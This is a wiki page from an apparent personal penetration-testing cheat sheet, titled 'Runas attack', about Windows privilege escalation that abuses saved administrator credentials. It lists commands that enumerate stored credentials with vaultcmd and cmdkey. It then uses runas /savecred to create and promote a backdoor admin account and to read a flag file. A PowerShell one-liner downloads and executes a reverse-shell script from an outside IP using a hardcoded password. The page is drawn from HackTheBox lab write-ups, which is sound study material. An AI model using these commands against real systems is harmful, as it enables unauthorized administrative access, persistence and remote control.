Skip to content

Runas attack

lethanhtung01011980 edited this page Apr 22, 2020 · 13 revisions

Goals

  • Runas "admin" with saved admin password
  • Already had normal user
  • No SYSTEM yet

Sample usages - Runas

  • Ref: https://snowscan.io/htb-writeup-access/#
  • List saved vaults: vaultcmd /list
  • List saved creds in saved vaults: vaultcmd /listcreds:"Windows Vault" => Check if having Administrator in saved creds
  • All stored credentials (even to remote machines): cmdkey /list

Runas

  • Run as admin: runas /user:administrator /savecred c:\Users\security\shell.bat
  • runas /user:ACCESS\Administrator /savecred "net user /add manolo Caca123"
  • runas /user:ACCESS\Administrator /savecred "net localgroup administrators manolo /add"
  • runas /user:ACCESS\Administrator /savecred "net localgroup TelnetClients manolo /add"
  • runas /user:ACCESS\Administrator /savecred "cmd /c type C:\Users\Administrator\Desktop\root.txt > C:\temp\caca"

Sample usages - Reuse cleartext password of another account

  • https://thecyberjedi.com/chatterbox/
  • Using powershell, store the credentials in $creds for the session $passwd = ConvertTo-SecureString 'Welcome1!' -AsPlainText -Force;$creds = New-Object System.Management.Automation.PSCredential('administrator' $passwd)
  • A reverse shell can now be opened with the supplied credentials using the command Start-Process -FilePath "powershell" -argumentlist "IEX(New-Object Net.webClient).downloadString('http://10.10.14.14/Invoke-PowerShellTcp.ps1')" -Credential $creds

Sidebar

0. COMMON exploits

1. Scan Info

1.2 Passive Gathering

1.3 Active Gathering

2. Pre-attack

2.2 File transfer

3. Get Reverse Shell

4. Exploits

4.2 Windows Exploits

4.3 Linux Exploits

4.4 Password crack

4.5 Buffer Overflow

4.6 Web attacks

6. Escalate Privilege

6.1 Escalate in Windows

6.2 Escalate in Linux

7. Access and further attacks

8. Port redirection and Tunnelling

9. Metasploit

10. Kali

11. Thirdparty scripts

Clone this wiki locally